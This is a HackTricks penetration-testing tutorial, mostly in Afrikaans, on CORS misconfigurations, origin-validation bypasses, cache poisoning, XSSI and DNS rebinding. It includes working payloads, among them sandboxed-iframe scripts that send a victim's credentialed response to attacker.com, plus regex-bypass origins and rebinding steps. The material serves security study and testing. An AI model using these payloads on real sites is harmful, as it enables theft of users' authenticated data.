CORS - Misconfigurations & Bypass

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks

What is CORS?

Cross-Origin Resource Sharing (CORS) standard maak servers in staat om te definieer wie toegang kan kry tot hul assets en watter HTTP request methods toegelaat word vanaf eksterne bronne.

A same-origin policy vereis dat ’n server wat ’n resource aanvra en die server wat die resource host dieselfde protocol deel (bv. http://), domain name (bv. internal-web.com), en port (bv. 80). Onder hierdie policy word slegs web pages van dieselfde domain en port toegelaat om toegang tot die resources te kry.

Die toepassing van die same-origin policy in die konteks van http://normal-website.com/example/example.html word soos volg geïllustreer:

URL accessedAccess permitted?
http://normal-website.com/example/Yes: Identical scheme, domain, and port
http://normal-website.com/example2/Yes: Identical scheme, domain, and port
https://normal-website.com/example/No: Different scheme and port
http://en.normal-website.com/example/No: Different domain
http://www.normal-website.com/example/No: Different domain
http://normal-website.com:8080/example/No: Different port*

*Internet Explorer disregard the port number in enforcing the same-origin policy, thus allowing this access.

Access-Control-Allow-Origin Header

This header can allow multiple origins, a null value, or a wildcard *. However, no browser supports multiple origins, and the use of the wildcard * is subject to limitations. (The wildcard must be used alone, and its use alongside Access-Control-Allow-Credentials: true is not permitted.)

This header is issued by a server in response to a cross-domain resource request initiated by a website, with the browser automatically adding an Origin header.

Access-Control-Allow-Credentials Header

By default, cross-origin requests are made without credentials like cookies or the Authorization header. Yet, a cross-domain server can allow the reading of the response when credentials are sent by setting the Access-Control-Allow-Credentials header to true.

If set to true, the browser will transmit credentials (cookies, authorization headers, or TLS client certificates).

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText)
}
}
xhr.open("GET", "http://example.com/", true)
xhr.withCredentials = true
xhr.send(null)

fetch(url, {
credentials: "include",
})

const xhr = new XMLHttpRequest()
xhr.open("POST", "https://bar.other/resources/post-here/")
xhr.setRequestHeader("X-PINGOTHER", "pingpong")
xhr.setRequestHeader("Content-Type", "application/xml")
xhr.onreadystatechange = handler
xhr.send("<person><name>Arun</name></person>")

CSRF Pre-flight request

Verstaan van Pre-flight Requests in Cross-Domain Communication

Wanneer ’n cross-domain request onder spesifieke toestande geïnisieer word, soos die gebruik van ’n non-standard HTTP method (enigiets anders as HEAD, GET, POST), die toevoeging van nuwe headers, of die gebruik van ’n spesiale Content-Type header value, kan ’n pre-flight request vereis word. Hierdie voorlopige request, wat die OPTIONS-method gebruik, dien om die server in te lig oor die komende cross-origin request se bedoelinge, insluitend die HTTP methods en headers wat dit beoog om te gebruik.

Die Cross-Origin Resource Sharing (CORS)-protocol vereis hierdie pre-flight check om die uitvoerbaarheid van die versoekte cross-origin operation te bepaal deur die toegelate methods, headers, en die betroubaarheid van die origin te verifieer. Vir ’n gedetailleerde begrip van watter toestande die behoefte aan ’n pre-flight request omseil, verwys na die omvattende gids wat deur Mozilla Developer Network (MDN) verskaf word.

Dit is noodsaaklik om daarop te let dat die afwesigheid van ’n pre-flight request nie die vereiste vir die response om authorization headers te dra, ophef nie. Sonder hierdie headers is die browser onbevoeg om die response van die cross-origin request te verwerk.

Beskou die volgende illustrasie van ’n pre-flight request wat daarop gemik is om die PUT method saam met ’n pasgemaakte header genaamd Special-Request-Header te gebruik:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In reaksie kan die server headers terugstuur wat die geaccepteerde methods, die toegelate origin, en ander CORS policy details aandui, soos hieronder getoon:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: Hierdie header spesifiseer watter headers gebruik kan word tydens die werklike request. Dit word deur die server gestel om die toegelate headers in requests van die client aan te dui.
  • Access-Control-Expose-Headers: Deur hierdie header lig die server die client in oor watter headers as deel van die response blootgestel kan word bo en behalwe die simple response headers.
  • Access-Control-Max-Age: Hierdie header dui aan hoe lank die resultate van ’n pre-flight request ge-cache kan word. Die server stel die maksimum tyd, in sekondes, waarvoor die inligting wat deur ’n pre-flight request teruggestuur is, hergebruik mag word.
  • Access-Control-Request-Headers: Gebruik in pre-flight requests; hierdie header word deur die client gestel om die server in te lig oor watter HTTP headers die client in die werklike request wil gebruik.
  • Access-Control-Request-Method: Hierdie header, ook gebruik in pre-flight requests, word deur die client gestel om aan te dui watter HTTP method in die werklike request gebruik sal word.
  • Origin: Hierdie header word outomaties deur die browser gestel en dui die origin van die cross-origin request aan. Dit word deur die server gebruik om te bepaal of die inkomende request toegelaat of geweier moet word op grond van die CORS policy.

Let daarop dat gewoonlik (afhangende van die content-type en headers wat gestel is) in ’n GET/POST request geen pre-flight request gestuur word nie (die request word direk gestuur), maar as jy toegang wil hê tot die headers/body van die response, moet dit ’n Access-Control-Allow-Origin header bevat wat dit toelaat.
Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).

Local Network Requests Pre-flight request

Moderne browsers en die huidige Private Network Access (PNA)-draft gebruik die headers Access-Control-Request-Private-Network: true in die preflight en Access-Control-Allow-Private-Network: true in die response. Ouer artikels en PoCs kan steeds verwys na Local-Network header name, maar vir huidige testing behoort jy die Private-Network-variante te verwag.

’n Geldige response wat die local network request toelaat moet ook Access-Control-Allow-Private-Network: true insluit:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Private-Network: true
Content-Length: 0
...

En die preflight request sal soortgelyk lyk aan:

OPTIONS / HTTP/1.1
Host: router.local
Origin: https://example.com
Access-Control-Request-Method: GET
Access-Control-Request-Private-Network: true

Note

Chrome se PNA-uitrol het gedurende 2024 verskeie kere verander. Vanaf 9 Oktober 2024, het Chrome gedokumenteer dat PNA preflights on hold was weens versoenbaarheidsprobleme, terwyl secure-context beperkings steeds in plek gebly het. Daarom, hou aan om beide die spec-compliant preflight flow en die ouer “works in practice because enforcement is incomplete” gedrag te toets.

Warning

Let daarop dat die linux 0.0.0.0 IP werk om hierdie vereistes te bypass om localhost te verkry, aangesien daardie IP-adres nie as “local” beskou word nie.

Chrome het ook gedokumenteer dat 0.0.0.0/8 nou as deel van Private Network Access behandel word, so hierdie truuk is browser/version-dependent en moet her-toets word eerder as om dit aan te neem.

Dit is ook moontlik om die Local Network vereistes te bypass as jy die public IP address van ’n local endpoint gebruik (soos die public IP van die router). Omdat daar in verskeie gevalle, selfs al word die public IP verkry, as dit van die local network af is, toegang verleen sal word.

Wildcards

Let daarop dat selfs al mag die volgende configuration baie permissief lyk:

Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

Dit word nie deur browsers toegelaat nie en daarom sal credentials nie saam met die request gestuur word nie.

Exploitable misconfigurations

Daar is waargeneem dat die instelling van Access-Control-Allow-Credentials na true ’n voorvereiste is vir die meeste real attacks. Hierdie instelling laat die browser toe om credentials te stuur en die response te lees, wat die aanval se doeltreffendheid verhoog. Sonder dit verminder die voordeel daarvan om ’n browser ’n request te laat maak in plaas daarvan om dit self te doen, aangesien dit onprakties word om ’n gebruiker se cookies te benut.

Exception: Exploiting Network Location as Authentication

’n Uitsondering bestaan waar die slagoffer se netwerk-ligging as ’n vorm van authentication optree. Dit laat toe dat die slagoffer se browser as ’n proxy gebruik word, wat IP-gebaseerde authentication omseil om intranet applications te access. Hierdie metode het ooreenkomste in impak met DNS rebinding, maar is eenvoudiger om te exploit.

Reflection of Origin in Access-Control-Allow-Origin

Die werklike scenario waar die waarde van die Origin header weerspieël word in Access-Control-Allow-Origin is teoreties onwaarskynlik weens beperkings op die kombinasie van hierdie headers. Ontwikkelaars wat CORS vir meerdere URLs wil enable, kan egter dinamies die Access-Control-Allow-Origin header genereer deur die waarde van die Origin header te kopieer. Hierdie benadering kan vulnerabilities inbring, veral wanneer ’n attacker ’n domain gebruik met ’n naam wat bedoel is om legitiem te lyk, en sodoende die validation logic mislei.

<script>
var req = new XMLHttpRequest()
req.onload = reqListener
req.open("get", "https://example.com/details", true)
req.withCredentials = true
req.send()
function reqListener() {
location = "/log?key=" + this.responseText
}
</script>

Ontginning van die null Origin

Die null origin, gespesifiseer vir situasies soos redirects of plaaslike HTML-lêers, neem ’n unieke posisie in. Sommige applications whitelist hierdie origin om local development te vergemaklik, en laat per ongeluk enige website toe om ’n null origin deur ’n sandboxed iframe na te boots, en sodoende CORS restrictions te omseil.

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe
sandbox="allow-scripts allow-top-navigation allow-forms"
srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Regular Expression Bypass Techniques

Wanneer ’n domain whitelist teëgekom word, is dit noodsaaklik om vir bypass-geleenthede te toets, soos om die aanvaller se domain aan ’n whitelisted domain toe te voeg of subdomain takeover vulnerabilities te ontgin. Daarbenewens kan regular expressions wat vir domain validation gebruik word, nuanses in domain naming conventions miskyk, wat verdere bypass-geleenthede skep.

Advanced Regular Expression Bypasses

Regex-patrone fokus tipies op alfanumeriese, dot (.), en hyphen (-) karakters, en ignoreer ander moontlikhede. Byvoorbeeld, ’n domain name wat so ontwerp is dat dit karakters insluit wat anders deur browsers en regex-patrone geïnterpreteer word, kan security checks omseil. Safari, Chrome, en Firefox se hantering van underscore-karakters in subdomains illustreer hoe sulke verskille uitgebuit kan word om domain validation logic te omseil.

Vir meer inligting en settings van hierdie bypass check: https://www.corben.io/advanced-cors-techniques/ en https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

https://miro.medium.com/v2/resize:fit:720/format:webp/1*rolEK39-DDxeBgSq6KLKAA.png

From XSS inside a subdomain

Developers implementeer dikwels defensiewe meganismes om teen CORS exploitation te beskerm deur domains wat toegelaat word om inligting aan te vra, te whitelist. Ten spyte van hierdie voorsorgmaatreëls is die stelsel se security nie onfeilbaar nie. Die teenwoordigheid van selfs net een kwesbare subdomain binne die whitelisted domains kan die deur oopmaak vir CORS exploitation deur ander vulnerabilities, soos XSS (Cross-Site Scripting).

Ter illustrasie, oorweeg die scenario waar ’n domain, requester.com, ge-whitelist is om toegang te kry tot resources vanaf ’n ander domain, provider.com. Die server-side configuration kan iets soos volg lyk:

if ($_SERVER["HTTP_HOST"] == "*.requester.com") {
// Access data
} else {
// Unauthorized access
}

In hierdie opstelling word alle subdomeine van requester.com toegelaat om toegang te kry. As ’n subdomein, sê sub.requester.com, egter gekompromitteer word met ’n XSS vulnerability, kan ’n attacker hierdie swakheid uitbuit. Byvoorbeeld, ’n attacker met toegang tot sub.requester.com kan die XSS vulnerability gebruik om CORS policies te omseil en kwaadwillig toegang te kry tot resources op provider.com.

Special Characters

PortSwigger se URL validation bypass cheat sheet het gevind dat sommige browsers vreemde characters binne domain names ondersteun.

Chrome en Firefox support underscores _ wat regexes wat geïmplementeer is om die Origin header te valideer, kan bypass:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application_.arbitrary.com

HTTP/2 200 OK
Access-Control-Allow-Origin: https://target.application_.arbitrary.com
Access-Control-Allow-Credentials: true

Safari is selfs nog meer laks in die aanvaarding van spesiale karakters in die domeinnaam:

GET / HTTP/2
Cookie: <session_cookie>
Origin: https://target.application}.arbitrary.com

HTTP/2 200 OK
Cookie: <session_cookie>
Access-Control-Allow-Origin: https://target.application}.arbitrary.com
Access-Control-Allow-Credentials: true

Onlangse opdaterings aan PortSwigger se cheat sheet het meer Safari-gerigte domain splitting payloads bygevoeg wat die moeite werd is om te fuzz wanneer die teiken die Origin-header valideer met regexes of selfgeskepte URL-parsers:

https://example.com.{.attacker.com/
https://example.com.}.attacker.com/
https://example.com.`.attacker.com/

Dit is nuttig wanneer die backend net kyk of die verskafde origin begin met of bevat die vertroude hostname, terwyl die browser steeds die deur die aanvaller beheerste suffix as die effektiewe origin-grens behandel.

Onthou ook dat moderne origin fuzzing nie by hostname-suffixes moet stop nie. Die huidige PortSwigger cheat sheet bevat payload-families vir:

  • Domain allow-list bypasses: deur die aanvaller beheerste domains wat steeds naïewe prefix/suffix/substring checks slaag.
  • Fake-relative absolute URLs: browser-geldige absolute URLs wat application code dalk as relative kan parseer.
  • Loopback/IP normalizations: alternatiewe IPv4/IPv6-vorms wat nuttig is wanneer CORS logic probeer om localhost, 127.0.0.1, of cloud metadata endpoints met string comparison te blokkeer.

Other funny URL tricks

URL Format Bypass

Server-side cache poisoning

From this research

Dit is moontlik dat, deur server-side cache poisoning via HTTP header injection te misbruik, ’n stored Cross-Site Scripting (XSS) vulnerability veroorsaak kan word. Hierdie scenario ontvou wanneer ’n application versuim om die Origin header vir ongeldige karakters te saniteer, wat ’n vulnerability skep veral vir Internet Explorer en Edge users. Hierdie browsers behandel (0x0d) as ’n geldige HTTP header terminator, wat lei tot HTTP header injection vulnerabilities.

Oorweeg die volgende request waar die Origin header gemanipuleer word:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer en Edge interpreteer die response as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Terwyl dit nie haalbaar is om hierdie kwesbaarheid direk te exploit deur ’n web browser te laat ’n malformed header stuur nie, kan ’n crafted request handmatig gegenereer word met tools soos Burp Suite. Hierdie metode kan daartoe lei dat ’n server-side cache die response stoor en dit per ongeluk aan ander bedien. Die crafted payload mik daarna om die page se character set na UTF-7 te verander, ’n character encoding wat dikwels met XSS vulnerabilities geassosieer word weens sy vermoë om karakters op ’n manier te encode wat in sekere kontekste as script uitgevoer kan word.

Vir verdere leeswerk oor stored XSS vulnerabilities, sien PortSwigger.

Note: Die exploitation van HTTP header injection vulnerabilities, veral deur server-side cache poisoning, onderstreep die kritieke belang van die validasie en sanitisering van alle user-supplied input, insluitend HTTP headers. Gebruik altyd ’n robuuste security model wat input validation insluit om sulke vulnerabilities te voorkom.

Client-Side cache poisoning

From this research

In hierdie scenario word ’n instance van ’n web page waargeneem wat die contents van ’n custom HTTP header sonder behoorlike encoding reflekteer. Spesifiek reflekteer die web page die contents wat in ’n X-User-id header ingesluit is, wat kwaadwillige JavaScript kan bevat, soos gedemonstreer deur die voorbeeld waar die header ’n SVG image tag bevat wat ontwerp is om JavaScript code te execute on load.

Cross-Origin Resource Sharing (CORS) policies laat toe dat custom headers gestuur word. Maar sonder dat die response direk deur die browser gerender word weens CORS restrictions, kan die nut van so ’n injection beperk lyk. Die kritieke punt ontstaan wanneer die browser se cache behavior oorweeg word. As die Vary: Origin header nie gespesifiseer is nie, word dit moontlik vir die kwaadwillige response om deur die browser gecache te word. Vervolgens kan hierdie gecachete response direk gerender word wanneer na die URL genavigeer word, wat die behoefte aan direkte rendering by die aanvanklike request omseil. Hierdie meganisme verhoog die betroubaarheid van die aanval deur client-side caching te benut.

Om hierdie aanval te illustreer, word ’n JavaScript-voorbeeld verskaf wat ontwerp is om in die environment van ’n web page uitgevoer te word, soos via ’n JSFiddle. Hierdie script voer ’n eenvoudige aksie uit: dit stuur ’n request na ’n gespesifiseerde URL met ’n custom header wat die kwaadwillige JavaScript bevat. Na suksesvolle voltooiing van die request, probeer dit om na die target URL te navigeer, wat moontlik die execution van die injected script kan aktiveer as die response sonder behoorlike hantering van die Vary: Origin header gecache is.

Hier is ’n opgesomde uiteensetting van die JavaScript wat gebruik is om hierdie aanval uit te voer:

<script>
function gotcha() {
location = url
}
var req = new XMLHttpRequest()
url = "https://example.com/" // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha
req.open("get", url, true)
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>")
req.send()
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is ’n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne met die script tag ingesluit word nie. Dit is omdat scripts van verskillende domains ingesluit moet kan word. Hierdie kwesbaarheid laat ’n aanvaller toe om enige inhoud wat met die script tag ingesluit is, te benader en te lees.

Hierdie kwesbaarheid word veral belangrik wanneer dit by dinamiese JavaScript of JSONP (JSON with Padding) kom, veral wanneer ambient-authority inligting soos cookies vir authentication gebruik word. Wanneer ’n resource van ’n ander host aangevra word, word die cookies ingesluit, wat hulle vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te mitigate, kan jy die BurpSuite plugin gebruik wat beskikbaar is by https://github.com/kapytein/jsonp. Hierdie plugin kan help om moontlike XSSI kwesbaarhede in jou web applications te identifiseer en aan te spreek.

Lees meer oor die verskillende tipes XSSI en hoe om hulle hier te exploit.

Probeer om ’n callback parameter by die request te voeg. Miskien was die page voorberei om die data as JSONP te stuur. In daardie geval sal die page die data terugstuur met Content-Type: application/javascript wat die CORS policy sal bypass.

Easy (useless?) bypass

Een manier om die Access-Control-Allow-Origin beperking te bypass is om ’n web application te laat maak ’n request namens jou en die response terug te stuur. In hierdie scenario sal die credentials van die finale victim egter nie gestuur word nie, aangesien die request na ’n ander domain gemaak word.

  1. CORS-escape: Hierdie tool bied ’n proxy wat jou request saam met sy headers aanstuur, terwyl dit ook die Origin header spoof om by die aangevraagde domain te pas. Dit bypass effektief die CORS policy. Hier is ’n voorbeeld van gebruik met XMLHttpRequest:
  2. simple-cors-escape: Hierdie tool bied ’n alternatiewe benadering tot request proxying. In plaas daarvan om jou request onveranderd deur te gee, maak die server sy eie request met die gespesifiseerde parameters.

Iframe + Popup Bypass

Jy kan CORS checks bypass soos e.origin === window.origin deur ’n iframe te skep en van daaruit ’n nuwe window oop te maak. Meer inligting op die volgende page:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding via TTL is ’n technique wat gebruik word om sekere security measures te bypass deur DNS records te manipuleer. Hier is hoe dit werk:

  1. Die aanvaller skep ’n web page en laat die victim dit besoek.
  2. Die aanvaller verander dan die DNS (IP) van hul eie domain om na die victim se web page te wys.
  3. Die victim se browser cache die DNS response, wat ’n TTL (Time to Live) waarde kan hê wat aandui hoe lank die DNS record as geldig beskou moet word.
  4. Wanneer die TTL verval, maak die victim se browser ’n nuwe DNS request, wat die aanvaller toelaat om JavaScript code op die victim se page uit te voer.
  5. Deur beheer oor die IP van die victim te behou, kan die aanvaller inligting van die victim insamel sonder om enige cookies na die victim server te stuur.

Dit is belangrik om daarop te let dat browsers caching mechanisms het wat onmiddellike abuse van hierdie technique kan voorkom, selfs met lae TTL waardes.

DNS rebinding kan nuttig wees om eksplisiete IP checks wat deur die victim uitgevoer word te bypass, of vir scenarios waar ’n user of bot vir ’n lang tyd op dieselfde page bly, wat die cache laat verval.

As jy ’n vinnige manier nodig het om DNS rebinding te abuse, kan jy dienste soos https://lock.cmpxchg8b.com/rebinder.html gebruik.

Om jou eie DNS rebinding server te laat loop, kan jy tools soos DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gebruik. Dit behels die blootstelling van jou plaaslike port 53/udp, die skep van ’n A record wat daarna wys (bv. ns.example.com), en die skep van ’n NS record wat na die voorheen geskepte A subdomain wys (bv. ns.example.com). Enige subdomain van die ns.example.com subdomain sal dan deur jou host resolved word.

Jy kan ook ’n publiek lopende server by http://rebind.it/singularity.html verken vir verdere begrip en eksperimentering.

DNS Rebinding via DNS Cache Flooding

DNS rebinding via DNS cache flooding is nog ’n technique wat gebruik word om die caching mechanism van browsers te bypass en ’n tweede DNS request af te dwing. Hier is hoe dit werk:

  1. Aanvanklik, wanneer die victim ’n DNS request maak, word dit met die aanvaller se IP address beantwoord.
  2. Om die caching defense te bypass, gebruik die aanvaller ’n service worker. Die service worker flood die DNS cache, wat effektief die gecachede aanvaller server name uitvee.
  3. Wanneer die victim se browser ’n tweede DNS request maak, word dit nou met die IP address 127.0.0.1 beantwoord, wat tipies na die localhost verwys.

Deur die DNS cache met die service worker te flood, kan die aanvaller die DNS resolution proses manipuleer en die victim se browser dwing om ’n tweede request te maak, hierdie keer wat na die aanvaller se gewenste IP address resolved.

DNS Rebinding via Cache

Nog ’n manier om die caching defense te bypass is deur multiple IP addresses vir dieselfde subdomain in die DNS provider te gebruik. Hier is hoe dit werk:

  1. Die aanvaller stel twee A records op (of ’n enkele A record met twee IPs) vir dieselfde subdomain in die DNS provider.
  2. Wanneer ’n browser vir hierdie records kyk, ontvang dit albei IP addresses.
  3. As die browser besluit om eers die aanvaller se IP address te gebruik, kan die aanvaller ’n payload lewer wat HTTP requests na dieselfde domain uitvoer.
  4. Sodra die aanvaller egter die victim se IP address verkry, hou hulle op om op die victim se browser te reageer.
  5. Die victim se browser, wanneer dit besef dat die domain nie reageer nie, beweeg aan om die tweede gegewe IP address te gebruik.
  6. Deur toegang tot die tweede IP address te kry, bypass die browser die Same Origin Policy (SOP), wat die aanvaller toelaat om dit te abuse en inligting te versamel en exfiltrate.

Hierdie technique gebruik die gedrag van browsers wanneer multiple IP addresses vir ’n domain verskaf word. Deur die responses strategies te beheer en die browser se keuse van IP address te manipuleer, kan ’n aanvaller die SOP exploit en toegang tot inligting van die victim verkry.

Warning

Let daarop dat om toegang tot localhost te kry, jy moet probeer om 127.0.0.1 in Windows en 0.0.0.0 in linux te rebind.
Providers soos godaddy of cloudflare het my nie toegelaat om die ip 0.0.0.0 te gebruik nie, maar AWS route53 het my toegelaat om een A record met 2 IPs te skep, waarvan een “0.0.0.0” was

Vir meer info kan jy https://unit42.paloaltonetworks.com/dns-rebinding/ nagaan

Other Common Bypasses

  • As internal IPs nie toegelaat word nie, het hulle dalk vergeet om 0.0.0.0 te verbied (werk op Linux en Mac)
  • As internal IPs nie toegelaat word nie, reageer met ’n CNAME na localhost (werk op Linux en Ma
  • As internal IPs nie toegelaat word as DNS responses, kan jy CNAMEs na internal services soos www.corporate.internal terugstuur.

DNS Rebidding Weaponized

Jy kan meer inligting oor die vorige bypass techniques en hoe om die volgende tool te gebruik vind in die talk Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin is ’n tool om DNS rebinding attacks uit te voer. Dit sluit die nodige components in om die IP address van die attack server DNS name na die target machine se IP address te rebind en attack payloads te bedien om vulnerable software op die target machine te exploit.

DNS Rebinding over DNS-over-HTTPS (DoH)

DoH tunnel eenvoudig die klassieke RFC1035 DNS wire format binne HTTPS (gewoonlik ’n POST met Content-Type: application/dns-message). Die resolver antwoord steeds met dieselfde resource records, so SOP-breaking techniques werk voort, selfs wanneer browsers die attacker-controlled hostname via TLS resolve.

Key observations

  • Chrome (Windows/macOS) en Firefox (Linux) rebind suksesvol wanneer hulle vir Cloudflare, Google, of OpenDNS DoH resolvers gekonfigureer is. Transport encryption vertraag of blokkeer nie die attack-flow vir first-then-second, multiple-answers, of DNS cache flooding strategies nie.
  • Public resolvers sien steeds elke query, maar hulle handhaaf selde die host-to-IP mapping wat ’n browser moet eerbiedig. Sodra die authoritative server die rebinding sequence terugstuur, behou die browser die oorspronklike origin tuple terwyl dit aan die nuwe IP koppel.

Singularity strategies and timing over DoH

  • First-then-second bly die mees betroubare opsie: die eerste lookup gee die attacker IP terug wat die payload bedien, elke latere lookup gee die internal/localhost IP terug. Met tipiese browser DNS caches skakel dit traffic oor in ~40–60 sekondes, selfs wanneer die recursive resolver slegs oor HTTPS bereikbaar is.
  • Multiple answers (fast rebinding) bereik steeds localhost in <3 sekondes deur met twee A records te antwoord (attacker IP + 0.0.0.0 op Linux/macOS of 127.0.0.1 op Windows) en die eerste IP programmaties te blackhole (byvoorbeeld, iptables -I OUTPUT -d <attacker_ip> -j DROP) kort nadat die page laai. Firefox se DoH implementation kan herhaalde DNS queries uitstuur, so die Singularity fix is om die firewall rule relatief tot die eerste query timestamp te skeduleer in plaas daarvan om die timer op elke query te verfris.

Beating “rebind protection” in DoH providers

  • Sommige providers (bv. NextDNS) vervang private/loopback answers met 0.0.0.0, maar Linux en macOS route daardie destination gelukkig na local services. Om doelbewus 0.0.0.0 as die tweede record terug te stuur, pivot dus steeds die origin na localhost.
  • Filtering slegs die direkte A/AAAA response is ondoeltreffend: die terugstuur van ’n CNAME na ’n internal-only hostname laat die public DoH resolver die alias vorentoe stuur terwyl browsers soos Firefox terugval na die system DNS vir die internal zone, wat die resolution voltooi na ’n private IP wat steeds as die attacker origin hanteer word.

Browser-specific DoH behavior

  • Firefox DoH werk in fallback mode: enige DoH failure (insluitend ’n unresolved CNAME target) aktiveer ’n plaintext lookup via die OS resolver, wat tipies ’n enterprise DNS server is wat die internal namespace ken. Hierdie gedrag maak die CNAME bypass betroubaar binne corporate networks.
  • Chrome DoH aktiveer slegs wanneer die OS DNS wys na ’n whitelisted DoH-capable recursive resolver (Cloudflare, Google, Quad9, ens.) en bied nie dieselfde fallback chain nie. Internal hostnames wat slegs op corporate DNS bestaan, faal dus om te resolve, maar rebinding na localhost of enige routable address slaag steeds omdat die aanvaller die hele response set beheer.

Testing and monitoring DoH flows

  • Firefox: Settings ➜ Network Settings ➜ Enable DNS over HTTPS en voorsien die DoH endpoint (Cloudflare en NextDNS is ingebou). Chrome/Chromium: aktiveer chrome://flags/#dns-over-https en configureer die OS DNS servers na een van Chrome se ondersteunde resolvers (bv. 1.1.1.1/1.0.0.1).
  • Jy kan public DoH APIs direk navraag, bv. curl -H 'accept: application/dns-json' 'https://cloudflare-dns.com/dns-query?name=example.com&type=A' | jq om die presiese records te bevestig wat browsers sal cache.
  • Intercepting van DoH in Burp/ZAP werk steeds omdat dit net HTTPS is (binary DNS payload in die body). Vir packet-level inspection, export TLS keys (export SSLKEYLOGFILE=~/SSLKEYLOGFILE.txt) voor jy die browser begin en laat Wireshark die DoH sessions met die dns display filter decrypt om te sien wanneer die browser op DoH bly of terugval na klassieke DNS.

Real Protection against DNS Rebinding

  • Gebruik TLS in internal services
  • Vereis authentication om data te benader
  • Valideer die Host header
  • https://wicg.github.io/private-network-access/: Proposal om altyd ’n pre-flight request te stuur wanneer public servers internal servers wil benader

Tools

Fuzz moontlike misconfigurations in CORS policies

References

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Blaai deur die volledige HackTricks Training-katalogus vir die assesseringsroetes (ARTA/GRTA/AzRTA) en Linux Hacking Expert (LHE).

Ondersteun HackTricks